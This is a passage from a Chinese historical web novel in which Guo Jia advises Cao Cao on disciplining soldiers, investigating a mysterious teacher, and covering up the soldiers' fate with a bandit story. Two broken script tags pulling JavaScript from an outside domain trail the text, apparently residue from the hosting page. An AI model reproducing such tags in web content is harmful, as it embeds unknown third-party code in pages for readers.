他顿了顿,喝了一口桌上的茶水,润了润嗓子,继续说道:“若是那些军士能活着回来,主公当赏罚分明,不能含糊。如果这事是底下的小卒擅自出的主意,说明军中军纪松弛,什长、队率监管不力,理应受罚,以正军纪;如果是什长、队率出的主意,那就是他们自作主张,眼里没有主公的命令,杖责之后,必须调离原职,不能再留在要害岗位上。”
他话锋一转,语气稍稍缓和了些:“但无论如何,他们毕竟是为了‘替韩暨跑腿’,是为了主公想要的水力织布机才去的,不是临阵脱逃,也不是故意违抗命令。所以如果活着回来,功过要分开算——擅自行动,违抗军令,这是要罚的;但敢闯敢拼,为主公分忧,这也是要赏的。这样一来,既能正军纪,也不会寒了军士们的心。”
曹操微微点了点头,眼神里没有什么波澜,只是轻轻“嗯”了一声,示意他继续说下去。
“其二,若是那些军士未能回来,再也没有消息……”郭嘉的语气,瞬间沉了几分,眼神也变得凝重起来,“必须查清楚,他们是被何人所杀。若是被那位任弋先生所杀,这就证明了,那位任弋,绝不是什么普通的教书先生。”
他顿了顿,补充道:“要么,他是剑术通神、身手不凡的隐世高手;要么,他背后有人撑腰。能悄无声息杀掉十几名训练有素的军士,背后的势力,绝不会小。要么是荆州刘表的人,要么是江东孙权派来的细作,甚至有可能,是那些心存汉室、暗中反对主公的人。”
他抬眼看向曹操,目光坚定:“臣请主公暂缓用强,不要贸然再派人去抓他。先派人暗中查访,把他的底细摸清楚:任弋是何方人氏?师承何人?家中还有何人?平日里和哪些人来往?有没有什么异常的举动?把这些都查清楚了,才能对症下药。”
曹操眯了眯眼,手指轻轻叩着扶手,没有说话。眼底的神色,高深莫测,没人能看透他心里在想什么。
“再有那些军士,”郭嘉继续说道,语气又缓和了些,“不管他们是死是活,对外都要统一说辞。就说他们在前往邓县的途中,遭遇了山贼,奋力抵抗,最终为国捐躯。然后主公下令,厚葬他们,好好抚恤他们的家人。”
他解释道:“这既保住了主公的面子,不至于让人笑话主公派去的人,连一个教书先生都对付不了;也能让那十几个人的家人,能抬起头来,不至于因为‘擅自行动’而被人指指点点
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">